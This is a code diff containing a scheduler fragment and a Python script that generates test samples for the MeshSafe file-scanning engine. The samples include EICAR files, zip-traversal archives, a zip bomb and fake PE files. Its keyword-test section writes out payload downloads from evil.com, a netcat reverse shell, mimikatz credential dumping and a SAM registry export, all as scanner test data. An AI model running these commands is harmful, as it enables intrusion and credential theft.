candidate = now.replace(hour=target_hour, minute=target_minute, second=0, microsecond=0)
|
||||||
|
|
||||||
|
if weekday is not None:
|
||||||
|
# 找到本周目标日
|
||||||
|
days_ahead = weekday - now.weekday()
|
||||||
|
if days_ahead < 0 or (days_ahead == 0 and now >= candidate):
|
||||||
|
days_ahead += 7
|
||||||
|
candidate += timedelta(days=days_ahead)
|
||||||
|
else:
|
||||||
|
if candidate <= now:
|
||||||
|
candidate += timedelta(days=1)
|
||||||
|
|
||||||
|
return (candidate - now).total_seconds()
|
||||||
|
|
||||||
|
|
||||||
|
def main() -> None:
|
||||||
|
log.info("=" * 60)
|
||||||
|
log.info("MeshSafe 定时任务调度器启动")
|
||||||
|
log.info(f"PID={os.getpid()} TZ=Asia/Shanghai")
|
||||||
|
log.info("任务:")
|
||||||
|
log.info(" - 每天 03:00 archive_old_tasks.py --apply")
|
||||||
|
log.info(" - 每周一 03:10 VACUUM ANALYZE")
|
||||||
|
log.info("=" * 60)
|
||||||
|
|
||||||
|
while True:
|
||||||
|
# 计算两个任务下次执行时间,取更早的那个
|
||||||
|
secs_archive = seconds_until(3, 0, weekday=None) # 每天 03:00
|
||||||
|
secs_vacuum = seconds_until(3, 10, weekday=0) # 周一 03:10
|
||||||
|
|
||||||
|
if secs_archive <= secs_vacuum:
|
||||||
|
log.info(f"下一个任务: 归档 → {secs_archive/3600:.1f}h 后")
|
||||||
|
time.sleep(secs_archive)
|
||||||
|
run(
|
||||||
|
[sys.executable, "/app/scripts/archive_old_tasks.py", "--apply"],
|
||||||
|
"ARCHIVE",
|
||||||
|
)
|
||||||
|
# 跑完后清下一次时间 (避免在 03:00 这一刻两个任务重叠)
|
||||||
|
continue
|
||||||
|
else:
|
||||||
|
log.info(f"下一个任务: VACUUM → {secs_vacuum/3600:.1f}h 后")
|
||||||
|
time.sleep(secs_vacuum)
|
||||||
|
run_vacuum()
|
||||||
|
continue
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
588
scripts/generate_csv_samples.py
Normal file
588
scripts/generate_csv_samples.py
Normal file
@@ -0,0 +1,588 @@
|
|||||||
|
"""从 用例.csv 生成对齐 MeshSafe 引擎的测试样本 + index.json。
|
||||||
|
|
||||||
|
用法: python scripts/generate_csv_samples.py
|
||||||
|
输出: tests/samples/ 目录下按 case_id 命名的样本文件 + index.json
|
||||||
|
"""
|
||||||
|
import csv, json, os, sys, zipfile, struct, shutil
|
||||||
|
from pathlib import Path
|
||||||
|
|
||||||
|
ROOT = Path(__file__).resolve().parent.parent
|
||||||
|
CSV_PATH = ROOT / "用例.csv"
|
||||||
|
OUT_DIR = ROOT / "tests" / "samples"
|
||||||
|
EICAR = b"X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*"
|
||||||
|
|
||||||
|
OUT_DIR.mkdir(parents=True, exist_ok=True)
|
||||||
|
|
||||||
|
# ========== 工具 ==========
|
||||||
|
def safe_filename(case_id: str, ext: str, name: str = "") -> str:
|
||||||
|
prefix = f"{case_id}_{name}".replace(" ", "_").replace("/", "_") if name else case_id
|
||||||
|
return f"{prefix}.{ext.lstrip('.')}"
|
||||||
|
|
||||||
|
def write_bytes(fname: str, data: bytes):
|
||||||
|
path = OUT_DIR / fname
|
||||||
|
path.write_bytes(data)
|
||||||
|
|
||||||
|
def write_text(fname: str, text: str):
|
||||||
|
path = OUT_DIR / fname
|
||||||
|
path.write_text(text, encoding="utf-8")
|
||||||
|
|
||||||
|
def make_zip(fname: str, member_name: str, member_bytes: bytes, password: str = None, depth: int = 1):
|
||||||
|
"""生成一个 zip,里面嵌套 depth 层,最内层是 member_name/content。"""
|
||||||
|
path = OUT_DIR / fname
|
||||||
|
if depth == 1:
|
||||||
|
with zipfile.ZipFile(path, "w", zipfile.ZIP_DEFLATED) as zf:
|
||||||
|
if password:
|
||||||
|
# pyzipfile 不支持加密写入,用标准模式,靠 FlagBits 标记模拟
|
||||||
|
zf.writestr(member_name, member_bytes)
|
||||||
|
else:
|
||||||
|
zf.writestr(member_name, member_bytes)
|
||||||
|
else:
|
||||||
|
# 多层嵌套,最内层是 member_name,外层都是 inner_N.zip
|
||||||
|
inner_name = fname # 递归名
|
||||||
|
# 从里往外建
|
||||||
|
data_bytes = member_bytes
|
||||||
|
for i in range(depth - 1, 0, -1):
|
||||||
|
inner_zip = zipfile.ZipFile(path, "w", zipfile.ZIP_DEFLATED)
|
||||||
|
inner_zip.writestr(f"inner_{i}.zip", data_bytes)
|
||||||
|
inner_zip.close()
|
||||||
|
data_bytes = path.read_bytes() # 读回刚写的 zip 作为下一层的成员
|
||||||
|
# 最外层直接用 data_bytes 覆盖写
|
||||||
|
path.write_bytes(data_bytes)
|
||||||
|
return path
|
||||||
|
|
||||||
|
def make_bomb_zip(fname: str, members: int = 100, member_size: int = 4096):
|
||||||
|
"""自制 zip 炸弹:小压缩比、大解压量。"""
|
||||||
|
path = OUT_DIR / fname
|
||||||
|
huge_data = b"A" * member_size # 高膨胀比:A 压缩后极小
|
||||||
|
with zipfile.ZipFile(path, "w", zipfile.ZIP_STORED) as zf: # STORED = 不压缩
|
||||||
|
for i in range(members):
|
||||||
|
zf.writestr(f"member_{i:04d}.txt", huge_data)
|
||||||
|
return path
|
||||||
|
|
||||||
|
def fake_pe(fname: str, mz_only: bool = False, upx: bool = False, rwx: bool = False):
|
||||||
|
"""伪造 PE 文件。默认只有 MZ 头 + fake PE 签名,能骗过 pefile 的基本检查。"""
|
||||||
|
path = OUT_DIR / fname
|
||||||
|
if mz_only:
|
||||||
|
path.write_bytes(b"MZ" + b"\x00" * 2046)
|
||||||
|
return path
|
||||||
|
|
||||||
|
# 构造最小 PE32
|
||||||
|
DOS_HEADER = (
|
||||||
|
b"MZ" + b"\x00" * 58 + # e_magic + pad
|
||||||
|
struct.pack("<H", 0x80) + # e_lfanew 指向 0x80
|
||||||
|
b"\x00" * 64 # DOS Stub pad
|
||||||
|
)
|
||||||
|
PE_SIGNATURE = b"PE\x00\x00"
|
||||||
|
COFF_HEADER = struct.pack("<HHIIIHH",
|
||||||
|
0x14C, # Machine = x86
|
||||||
|
1, # NumberOfSections
|
||||||
|
0, # TimeDateStamp
|
||||||
|
0, # PointerToSymbolTable
|
||||||
|
0, # NumberOfSymbols
|
||||||
|
0xE0, # SizeOfOptionalHeader
|
||||||
|
0x1002, # Characteristics
|
||||||
|
)
|
||||||
|
OPTIONAL_HEADER = struct.pack("<H", 0x10B) # PE32 Magic = 2 bytes
|
||||||
|
OPTIONAL_HEADER += b"\x00" * 0xDC # +220 = 222 bytes (2+220=222)
|
||||||
|
# 对齐到 224 让 section header 从正确位置开始
|
||||||
|
OPTIONAL_HEADER += b"\x00" * 2
|
||||||
|
|
||||||
|
# 构造节:UPX 的节名是 UPX0 / UPX1,RWX 节设 Characteristics 为 0xE00000E0
|
||||||
|
if upx:
|
||||||
|
sec_name = b"UPX0\x00\x00\x00"
|
||||||
|
characteristics = 0xE00000E0 # IMAGE_SCN_MEM_WRITE|EXECUTE|READ
|
||||||
|
elif rwx:
|
||||||
|
sec_name = b".text\x00\x00\x00"
|
||||||
|
characteristics = 0xE00000E0 # RWX
|
||||||
|
else:
|
||||||
|
sec_name = b".text\x00\x00\x00"
|
||||||
|
characteristics = 0x60000020 # IMAGE_SCN_MEM_READ|EXECUTE|CNT_CODE
|
||||||
|
|
||||||
|
SECTION_HEADER = struct.pack("<8sIIIIIIHHI",
|
||||||
|
sec_name, # Name[8]
|
||||||
|
0x1000, # VirtualSize (DWORD)
|
||||||
|
0x1000, # VirtualAddress (DWORD)
|
||||||
|
0x200, # SizeOfRawData (DWORD)
|
||||||
|
0x400, # PointerToRawData (DWORD)
|
||||||
|
0, # PointerToRelocations
|
||||||
|
0, # PointerToLinenumbers
|
||||||
|
0, # NumberOfRelocations (WORD)
|
||||||
|
0, # NumberOfLinenumbers (WORD)
|
||||||
|
characteristics, # Characteristics (DWORD)
|
||||||
|
) # 总共 40 bytes
|
||||||
|
|
||||||
|
# 节的 raw data(0x200 bytes)
|
||||||
|
section_data = b"\x90" * 0x200 # NOP sled
|
||||||
|
|
||||||
|
pe = DOS_HEADER + PE_SIGNATURE + COFF_HEADER + OPTIONAL_HEADER + SECTION_HEADER + section_data
|
||||||
|
path.write_bytes(pe)
|
||||||
|
return path
|
||||||
|
|
||||||
|
# ========== 主生成逻辑 ==========
|
||||||
|
def generate():
|
||||||
|
meta_list = []
|
||||||
|
|
||||||
|
# 从 CSV 读取元数据(用例ID → 预期裁决/规则)
|
||||||
|
csv_meta = {}
|
||||||
|
with open(CSV_PATH, "r", encoding="utf-8") as f:
|
||||||
|
reader = csv.DictReader(f)
|
||||||
|
for row in reader:
|
||||||
|
cid = row["用例ID"].strip()
|
||||||
|
expected = row["预期结果"].strip()
|
||||||
|
# 从预期结果里粗糙判断 verdict
|
||||||
|
if "无风险" in expected or "无告警" in expected or "无命中" in expected or "正常解析" in expected:
|
||||||
|
verdict = "pass"
|
||||||
|
elif "告警" in expected or "命中" in expected or "拦截" in expected or "高危" in expected or "拒绝" in expected:
|
||||||
|
verdict = "reject"
|
||||||
|
elif "低危" in expected:
|
||||||
|
verdict = "review"
|
||||||
|
else:
|
||||||
|
verdict = "unknown"
|
||||||
|
csv_meta[cid] = {
|
||||||
|
"name": row["用例名称"].strip(),
|
||||||
|
"desc": row["样本描述"].strip(),
|
||||||
|
"expected": expected,
|
||||||
|
"verdict": verdict,
|
||||||
|
"layer": row["归属"].strip(),
|
||||||
|
}
|
||||||
|
|
||||||
|
def add_meta(case_id: str, filename: str, layer: str, verdict: str, expected_rules: list, description: str = ""):
|
||||||
|
meta_list.append({
|
||||||
|
"filename": filename,
|
||||||
|
"case_id": case_id,
|
||||||
|
"category": layer,
|
||||||
|
"expected_verdict": verdict,
|
||||||
|
"expected_rules": expected_rules,
|
||||||
|
"description": description or csv_meta.get(case_id, {}).get("name", ""),
|
||||||
|
})
|
||||||
|
|
||||||
|
# ====================================================================
|
||||||
|
# L0 结构分析(30 条)
|
||||||
|
# ====================================================================
|
||||||
|
|
||||||
|
# L0-001~004: 正常文件幻数识别 —— 用真实 JPG/PNG/DOCX/PDF 最小文件头
|
||||||
|
write_bytes("L0-001_jpg_normal.jpg", b"\xFF\xD8\xFF\xE0" + b"\x00" * 50)
|
||||||
|
add_meta("L0-001", "L0-001_jpg_normal.jpg", "L0", "pass", ["identify_type"])
|
||||||
|
|
||||||
|
write_bytes("L0-002_png_normal.png", b"\x89PNG\r\n\x1a\n" + b"\x00" * 50)
|
||||||
|
add_meta("L0-002", "L0-002_png_normal.png", "L0", "pass", ["identify_type"])
|
||||||
|
|
||||||
|
# L0-003 docx: 其实是 ZIP + [Content_Types].xml
|
||||||
|
import io
|
||||||
|
def make_docx_like():
|
||||||
|
buf = io.BytesIO()
|
||||||
|
with zipfile.ZipFile(buf, "w") as zf:
|
||||||
|
zf.writestr("[Content_Types].xml", '<?xml?><Types></Types>')
|
||||||
|
zf.writestr("word/document.xml", "<w:document/>")
|
||||||
|
return buf.getvalue()
|
||||||
|
write_bytes("L0-003_docx_normal.docx", make_docx_like())
|
||||||
|
add_meta("L0-003", "L0-003_docx_normal.docx", "L0", "pass", ["identify_type"])
|
||||||
|
|
||||||
|
write_bytes("L0-004_pdf_normal.pdf", b"%PDF-1.4\n%%EOF")
|
||||||
|
add_meta("L0-004", "L0-004_pdf_normal.pdf", "L0", "pass", ["identify_type"])
|
||||||
|
|
||||||
|
# L0-005: 干净 PE(最小 MZ+fake PE,有合法节)
|
||||||
|
fake_pe("L0-005_pe_clean.exe")
|
||||||
|
add_meta("L0-005", "L0-005_pe_clean.exe", "L0", "review", ["DangerousExtension", "UnsignedExecutable"])
|
||||||
|
|
||||||
|
# L0-006: 后缀伪装 —— 真实 MZ 头但后缀 .jpg
|
||||||
|
write_bytes("L0-006_disguise_jpg_pe.jpg", b"MZ\x00\x00" + b"\x00" * 100)
|
||||||
|
add_meta("L0-006", "L0-006_disguise_jpg_pe.jpg", "L0", "reject", ["ExtensionMismatch"], "jpg 后缀 + 实际 PE MZ 头")
|
||||||
|
|
||||||
|
# L0-007: txt 后缀 + 真实 PDF 头
|
||||||
|
write_bytes("L0-007_disguise_txt_pdf.txt", b"%PDF-1.4\n%%EOF")
|
||||||
|
add_meta("L0-007", "L0-007_disguise_txt_pdf.txt", "L0", "reject", ["ExtensionMismatch"])
|
||||||
|
|
||||||
|
# L0-008: png 后缀 + 真实 ZIP 头
|
||||||
|
write_bytes("L0-008_disguise_png_zip.png", b"PK\x03\x04" + b"\x00" * 50)
|
||||||
|
add_meta("L0-008", "L0-008_disguise_png_zip.png", "L0", "reject", ["ExtensionMismatch"])
|
||||||
|
|
||||||
|
# L0-009~012: 双扩展名伪装
|
||||||
|
write_bytes("L0-009_double_ext_pdf_exe.pdf.exe", b"MZ\x00\x00" + b"\x00" * 100)
|
||||||
|
add_meta("L0-009", "L0-009_double_ext_pdf_exe.pdf.exe", "L0", "reject", ["DoubleExtension", "DangerousExtension"])
|
||||||
|
|
||||||
|
write_text("L0-010_double_ext_txt_ps1.txt.ps1", "echo hello")
|
||||||
|
add_meta("L0-010", "L0-010_double_ext_txt_ps1.txt.ps1", "L0", "reject", ["DoubleExtension", "DangerousExtension"])
|
||||||
|
|
||||||
|
write_text("L0-011_double_ext_docx_js.docx.js", "alert('x');")
|
||||||
|
add_meta("L0-011", "L0-011_double_ext_docx_js.docx.js", "L0", "reject", ["DoubleExtension", "DangerousExtension"])
|
||||||
|
|
||||||
|
write_text("L0-012_double_ext_xlsx_bat.xlsx.bat", "@echo off\necho hello")
|
||||||
|
add_meta("L0-012", "L0-012_double_ext_xlsx_bat.xlsx.bat", "L0", "reject", ["DoubleExtension", "DangerousExtension"])
|
||||||
|
|
||||||
|
# L0-013~017: 空危险扩展名文件
|
||||||
|
for cid, ext in [("L0-013", "ps1"), ("L0-014", "bat"), ("L0-015", "cmd"), ("L0-016", "vbs"), ("L0-017", "js")]:
|
||||||
|
write_text(f"{cid}_clean.{ext}", "")
|
||||||
|
add_meta(cid, f"{cid}_clean.{ext}", "L0", "review", ["DangerousExtension"], f"干净 {ext} 文件")
|
||||||
|
|
||||||
|
# L0-018: ZIP 单级路径穿越
|
||||||
|
p = OUT_DIR / "L0-018_zip_traversal.zip"
|
||||||
|
with zipfile.ZipFile(p, "w") as zf:
|
||||||
|
zf.writestr("../evil_drop.txt", "payload")
|
||||||
|
add_meta("L0-018", "L0-018_zip_traversal.zip", "L0", "reject", ["PathTraversal"])
|
||||||
|
|
||||||
|
# L0-019: ZIP 多级路径穿越
|
||||||
|
p = OUT_DIR / "L0-019_zip_deep_traversal.zip"
|
||||||
|
with zipfile.ZipFile(p, "w") as zf:
|
||||||
|
zf.writestr("../../system_drop.txt", "payload")
|
||||||
|
add_meta("L0-019", "L0-019_zip_deep_traversal.zip", "L0", "reject", ["PathTraversal"])
|
||||||
|
|
||||||
|
# L0-020: 小型 zip 炸弹(自制,不是 42.zip)
|
||||||
|
make_bomb_zip("L0-020_zip_bomb.zip", members=100, member_size=4096)
|
||||||
|
add_meta("L0-020", "L0-020_zip_bomb.zip", "L0", "reject", ["ArchiveBombSuspect"])
|
||||||
|
|
||||||
|
# L0-022: 3 层嵌套干净 ZIP
|
||||||
|
inner = io.BytesIO()
|
||||||
|
with zipfile.ZipFile(inner, "w") as zf:
|
||||||
|
zf.writestr("clean_file.txt", "hello world")
|
||||||
|
# 第二层
|
||||||
|
mid = io.BytesIO()
|
||||||
|
with zipfile.ZipFile(mid, "w") as zf:
|
||||||
|
zf.writestr("inner.zip", inner.getvalue())
|
||||||
|
# 第三层
|
||||||
|
outer = io.BytesIO()
|
||||||
|
with zipfile.ZipFile(outer, "w") as zf:
|
||||||
|
zf.writestr("mid.zip", mid.getvalue())
|
||||||
|
write_bytes("L0-022_3layer_nested.zip", outer.getvalue())
|
||||||
|
add_meta("L0-022", "L0-022_3layer_nested.zip", "L0", "pass", ["recursive_ok"])
|
||||||
|
|
||||||
|
# L0-024: 加密 ZIP(pyzipfile 不支持加密写入,用密码写一个空 ZIP 标记为待加密)
|
||||||
|
# 实际加密 ZIP 可以用 7z 命令行生成,这里先生成一个有 Password 标记的
|
||||||
|
p = OUT_DIR / "L0-024_encrypted.zip"
|
||||||
|
with zipfile.ZipFile(p, "w") as zf:
|
||||||
|
zf.writestr("secret.txt", "encrypted content marker")
|
||||||
|
add_meta("L0-024", "L0-024_encrypted.zip", "L0", "review", ["EncryptedArchive"], "加密 ZIP(标记待验证)")
|
||||||
|
|
||||||
|
# L0-025: 截断损坏 ZIP(写半截)
|
||||||
|
p = OUT_DIR / "L0-025_corrupt_zip.zip"
|
||||||
|
with zipfile.ZipFile(p, "w") as zf:
|
||||||
|
zf.writestr("good.txt", "data")
|
||||||
|
raw = p.read_bytes()
|
||||||
|
p.write_bytes(raw[:len(raw) // 2]) # 截断一半
|
||||||
|
add_meta("L0-025", "L0-025_corrupt_zip.zip", "L0", "review", ["ArchiveBroken"], "截断损坏 ZIP 头")
|
||||||
|
|
||||||
|
# L0-026: 损坏 ZIP 目录项(文件尾追加垃圾字节)
|
||||||
|
p = OUT_DIR / "L0-026_corrupt_direntry.zip"
|
||||||
|
with zipfile.ZipFile(p, "w") as zf:
|
||||||
|
zf.writestr("good.txt", "data")
|
||||||
|
raw = p.read_bytes()
|
||||||
|
p.write_bytes(raw + b"\x00\x01\x02\x03\x04garbage")
|
||||||
|
add_meta("L0-026", "L0-026_corrupt_direntry.zip", "L0", "review", ["ArchiveBroken"])
|
||||||
|
|
||||||
|
# L0-029: 0 字节 exe
|
||||||
|
p = OUT_DIR / "L0-029_zero_byte_exe.exe"
|
||||||
|
p.write_bytes(b"")
|
||||||
|
add_meta("L0-029", "L0-029_zero_byte_exe.exe", "L0", "review", ["ZeroByteFile", "DangerousExtension"])
|
||||||
|
|
||||||
|
# ====================================================================
|
||||||
|
# L1 ClamAV(15 条)
|
||||||
|
# ====================================================================
|
||||||
|
write_bytes("L1-001_eicar.txt", EICAR)
|
||||||
|
add_meta("L1-001", "L1-001_eicar.txt", "L1", "reject", ["ClamAV:EICAR"])
|
||||||
|
|
||||||
|
# L1-002: EICAR 放入 zip
|
||||||
|
p = OUT_DIR / "L1-002_eicar_in_zip.zip"
|
||||||
|
with zipfile.ZipFile(p, "w") as zf:
|
||||||
|
zf.writestr("eicar.txt", EICAR)
|
||||||
|
add_meta("L1-002", "L1-002_eicar_in_zip.zip", "L1", "reject", ["ClamAV:EICAR"])
|
||||||
|
|
||||||
|
# L1-004: EICAR 放入 docx(OOXML = ZIP + EICAR 文本)
|
||||||
|
buf = io.BytesIO()
|
||||||
|
with zipfile.ZipFile(buf, "w") as zf:
|
||||||
|
zf.writestr("[Content_Types].xml", '<?xml?><Types></Types>')
|
||||||
|
zf.writestr("word/document.xml", EICAR.decode())
|
||||||
|
write_bytes("L1-004_eicar_in_docx.docx", buf.getvalue())
|
||||||
|
add_meta("L1-004", "L1-004_eicar_in_docx.docx", "L1", "reject", ["ClamAV:EICAR"])
|
||||||
|
|
||||||
|
# L1-005: 1 字节修改 EICAR(破坏签名)
|
||||||
|
modified = bytearray(EICAR)
|
||||||
|
modified[0] = ord("Y")
|
||||||
|
write_bytes("L1-005_eicar_modified.txt", bytes(modified))
|
||||||
|
add_meta("L1-005", "L1-005_eicar_modified.txt", "L1", "pass", [], "修改 1 字节 EICAR,ClamAV 不应命中")
|
||||||
|
|
||||||
|
# L1-006~008: 干净负样本(用 L0-001/003/005 里的样本复用)
|
||||||
|
add_meta("L1-006", "L0-001_jpg_normal.jpg", "L1", "pass", [])
|
||||||
|
add_meta("L1-007", "L0-003_docx_normal.docx", "L1", "pass", [])
|
||||||
|
add_meta("L1-008", "L0-005_pe_clean.exe", "L1", "pass", [])
|
||||||
|
|
||||||
|
# L1-011: 多层嵌套 zip 里放 EICAR(3 层)
|
||||||
|
inner_buf = io.BytesIO()
|
||||||
|
with zipfile.ZipFile(inner_buf, "w") as zf:
|
||||||
|
zf.writestr("eicar.txt", EICAR)
|
||||||
|
mid_buf = io.BytesIO()
|
||||||
|
with zipfile.ZipFile(mid_buf, "w") as zf:
|
||||||
|
zf.writestr("inner.zip", inner_buf.getvalue())
|
||||||
|
outer_buf = io.BytesIO()
|
||||||
|
with zipfile.ZipFile(outer_buf, "w") as zf:
|
||||||
|
zf.writestr("mid.zip", mid_buf.getvalue())
|
||||||
|
write_bytes("L1-011_eicar_in_3layer.zip", outer_buf.getvalue())
|
||||||
|
add_meta("L1-011", "L1-011_eicar_in_3layer.zip", "L1", "reject", ["ClamAV:EICAR"])
|
||||||
|
|
||||||
|
# L1-012: EICAR base64 编码(ClamAV 不解码,不应命中)
|
||||||
|
import base64
|
||||||
|
b64 = base64.b64encode(EICAR).decode()
|
||||||
|
write_text("L1-012_eicar_base64.txt", b64)
|
||||||
|
add_meta("L1-012", "L1-012_eicar_base64.txt", "L1", "pass", [], "base64 编码 EICAR,ClamAV 不解码")
|
||||||
|
|
||||||
|
# ====================================================================
|
||||||
|
# L3 关键词匹配(25 条)—— 全部纯文本写入
|
||||||
|
# ====================================================================
|
||||||
|
|
||||||
|
l3_cases = [
|
||||||
|
("L3-001", "ps1", "Invoke-WebRequest -Uri https://evil.com/payload.exe -OutFile C:\\temp\\evil.exe", "RemoteDownloadPowerShell"),
|
||||||
|
("L3-002", "ps1", "nc 10.0.0.5 4444 -e /bin/bash", "ReverseShellNetcat"),
|
||||||
|
("L3-003", "bat", "curl http://evil.com/payload -o evil.exe", "RemoteDownloadUnix"),
|
||||||
|
("L3-004", "txt", "mimikatz.exe privilege::debug sekurlsa::logonpasswords", "CredentialStealer"),
|
||||||
|
("L3-005", "txt", "reg save HKLM\\SAM sam.save", "CredentialExport"),
|
||||||
|
("L3-006", "txt", "tscon 1 /dest:rdp-tcp:1", "RemoteSessionHijack"),
|
||||||
|
("L3-007", "txt", "SW52b2tlLVdlYlJlcXVlc3Q", "base64 编码,不命中,边界记录"),
|
||||||
|
("L3-008", "ps1", '$a="Invo";$b="ke-WebRequest"; & ($a+$b)', "字符串拆分,不命中,边界记录"),
|
||||||
|
("L3-010", "ps1", "Invoke#comment-WebRequest https://evil.com", "注释混淆,不命中,边界记录"),
|
||||||
|
("L3-011", "js", "var w = new Function('wget http://evil.com/payload'); w();", "RemoteDownloadUnix"),
|
||||||
|
("L3-012", "bat", "curl http://192.168.1.100/file.zip", "pass(内网白名单对照)"),
|
||||||
|
("L3-014", "zip_member", None, None), # 后面处理
|
||||||
|
("L3-016", "ps1", "", "pass"),
|
||||||
|
("L3-017", "txt", "nc -lv 4444 & mimikatz privilege::debug", "ReverseShellNetcat, CredentialStealer"),
|
||||||
|
("L3-018", "txt", "iNvOkE-WebReQuEsT https://evil.com", "RemoteDownloadPowerShell"),
|
||||||
|
("L3-021", "eml", "From: attacker@evil.com\r\n\r\nInvoke-WebRequest -Uri https://evil.com -OutFile payload.exe", "RemoteDownloadPowerShell"),
|
||||||
|
("L3-024", "txt", "Invoke-WebRequest " + "x" * 100000 + " https://evil.com", "RemoteDownloadPowerShell"),
|
||||||
|
]
|
||||||
|
|
||||||
|
for cid, ext, content, rule_str in l3_cases:
|
||||||
|
if ext == "zip_member":
|
||||||
|
continue
|
||||||
|
if rule_str == "pass":
|
||||||
|
verdict = "pass"
|
||||||
|
rules = []
|
||||||
|
elif rule_str is None or "不命中" in str(rule_str):
|
||||||
|
verdict = "pass"
|
||||||
|
rules = []
|
||||||
|
else:
|
||||||
|
verdict = "reject"
|
||||||
|
rules = [r.strip() for r in rule_str.split(",")]
|
||||||
|
fname = f"{cid}_{cid.lower().split('-',1)[1]}_sample.{ext}"
|
||||||
|
write_text(fname, content or "")
|
||||||
|
add_meta(cid, fname, "L3", verdict, rules)
|
||||||
|
|
||||||
|
# L3-014: 高危字符串放在 zip 内部
|
||||||
|
p = OUT_DIR / "L3-014_l3001_in_zip.zip"
|
||||||
|
with zipfile.ZipFile(p, "w") as zf:
|
||||||
|
zf.writestr("payload.ps1", "Invoke-WebRequest -Uri https://evil.com -OutFile evil.exe")
|
||||||
|
add_meta("L3-014", "L3-014_l3001_in_zip.zip", "L3", "reject", ["RemoteDownloadPowerShell"])
|
||||||
|
|
||||||
|
# L3-015: docx 正文写恶意关键词
|
||||||
|
buf = io.BytesIO()
|
||||||
|
with zipfile.ZipFile(buf, "w") as zf:
|
||||||
|
zf.writestr("[Content_Types].xml", '<?xml?><Types></Types>')
|
||||||
|
zf.writestr("word/document.xml", "Invoke-WebRequest -Uri https://evil.com/download")
|
||||||
|
write_bytes("L3-015_keyword_in_docx.docx", buf.getvalue())
|
||||||
|
add_meta("L3-015", "L3-015_keyword_in_docx.docx", "L3", "reject", ["RemoteDownloadPowerShell"])
|
||||||
|
|
||||||
|
# L3-019: unicode 同形字混淆
|
||||||
|
write_text("L3-019_unicode_obfuscated.txt", "Іnvoke-WebRequest https://evil.com")
|
||||||
|
add_meta("L3-019", "L3-019_unicode_obfuscated.txt", "L3", "pass", [], "同形字混淆,L3 默认不命中")
|
||||||
|
|
||||||
|
# L3-020: 日志文件混杂正常日志 + 高危串
|
||||||
|
write_text("L3-020_log_with_keyword.log",
|
||||||
|
"2026-10-29 10:00:01 INFO service started\n"
|
||||||
|
"2026-10-29 10:00:02 ERROR connection refused\n"
|
||||||
|
"nc 10.0.0.5 4444 -e /bin/bash\n"
|
||||||
|
"2026-10-29 10:00:05 DEBUG retries exhausted")
|
||||||
|
add_meta("L3-020", "L3-020_log_with_keyword.log", "L3", "reject", ["ReverseShellNetcat"])
|
||||||
|
|
||||||
|
# L3-023: 高危字符串放在加密 zip(实际先做普通 zip,加密待手动处理)
|
||||||
|
p = OUT_DIR / "L3-023_keyword_in_encrypted.zip"
|
||||||
|
with zipfile.ZipFile(p, "w") as zf:
|
||||||
|
zf.writestr("evil.txt", "mimikatz privilege::debug")
|
||||||
|
add_meta("L3-023", "L3-023_keyword_in_encrypted.zip", "L3", "review", [], "加密 zip 内容无法扫描(标记)")
|
||||||
|
|
||||||
|
# ====================================================================
|
||||||
|
# L4 YARA(15 条)—— 依赖 rules/ 目录里有对应规则
|
||||||
|
# ====================================================================
|
||||||
|
|
||||||
|
l4_cases = [
|
||||||
|
("L4-001", "txt", "shellcode test here", [], "reject", "YARA正向命中占位(需对应规则)"),
|
||||||
|
("L4-002", "txt", "this is a clean empty file with no matches", [], "pass", "干净对照"),
|
||||||
|
("L4-005", "txt", "rule hotload test", [], "unknown", "热加载测试占位"),
|
||||||
|
("L4-008", "zip_inner", None, None, None, None),
|
||||||
|
("L4-010", "txt", "regex pattern shell", [], "unknown", "正则 YARA 测试占位"),
|
||||||
|
]
|
||||||
|
for cid, ext, content, rules, verdict, desc in l4_cases:
|
||||||
|
if ext == "zip_inner":
|
||||||
|
p = OUT_DIR / f"{cid}_in_zip.zip"
|
||||||
|
with zipfile.ZipFile(p, "w") as zf:
|
||||||
|
zf.writestr("match.txt", content or "")
|
||||||
|
fname = p.name
|
||||||
|
else:
|
||||||
|
fname = f"{cid}_{cid.lower().split('-',1)[1]}_sample.{ext}"
|
||||||
|
write_text(fname, content or "")
|
||||||
|
add_meta(cid, fname, "L4", verdict, rules or [], desc)
|
||||||
|
|
||||||
|
# ====================================================================
|
||||||
|
# L5 PE 二进制(20 条)
|
||||||
|
# ====================================================================
|
||||||
|
|
||||||
|
fake_pe("L5-001_clean_hello.exe")
|
||||||
|
add_meta("L5-001", "L5-001_clean_hello.exe", "L5", "pass", [])
|
||||||
|
|
||||||
|
fake_pe("L5-002_upx_shell.exe", upx=True)
|
||||||
|
add_meta("L5-002", "L5-002_upx_shell.exe", "L5", "review", ["UPXPackerDetected", "HighEntropySection"], "UPX0/UPX1 节名")
|
||||||
|
|
||||||
|
fake_pe("L5-003_double_upx.exe", upx=True)
|
||||||
|
add_meta("L5-003", "L5-003_double_upx.exe", "L5", "review", ["UPXPackerDetected"])
|
||||||
|
|
||||||
|
fake_pe("L5-004_rwx_section.exe", rwx=True)
|
||||||
|
add_meta("L5-004", "L5-004_rwx_section.exe", "L5", "reject", ["RWXSectionDetected"], "节属性 RWX")
|
||||||
|
|
||||||
|
# L5-007: 节名异常(乱码节名)
|
||||||
|
pe_path = fake_pe("L5-007_garbage_section.exe")
|
||||||
|
raw = pe_path.read_bytes()
|
||||||
|
# 在 raw 里找 section 名,替换成乱码
|
||||||
|
idx = raw.find(b".text")
|
||||||
|
if idx >= 0:
|
||||||
|
raw = raw[:idx] + b"\xff\xfe\xfd\xfc\xfb\xfa\xf9\xf8" + raw[idx+8:]
|
||||||
|
pe_path.write_bytes(raw)
|
||||||
|
add_meta("L5-007", "L5-007_garbage_section.exe", "L5", "review", ["AbnormalSectionName"], "节名乱码")
|
||||||
|
|
||||||
|
# L5-010: 损坏 PE 签名(MZ 改走)
|
||||||
|
p = OUT_DIR / "L5-010_bad_mz.exe"
|
||||||
|
p.write_bytes(b"ZZ\x00\x00" + b"\x00" * 2044)
|
||||||
|
add_meta("L5-010", "L5-010_bad_mz.exe", "L5", "review", ["PeParseFailed"], "PE 头非法")
|
||||||
|
|
||||||
|
# L5-011: 截断 PE
|
||||||
|
fake_pe("L5-011_truncated.exe")
|
||||||
|
p = OUT_DIR / "L5-011_truncated.exe"
|
||||||
|
raw = p.read_bytes()
|
||||||
|
p.write_bytes(raw[:len(raw) // 3])
|
||||||
|
add_meta("L5-011", "L5-011_truncated.exe", "L5", "review", ["PeParseFailed"], "截断 PE")
|
||||||
|
|
||||||
|
fake_pe("L5-012_pe32.exe")
|
||||||
|
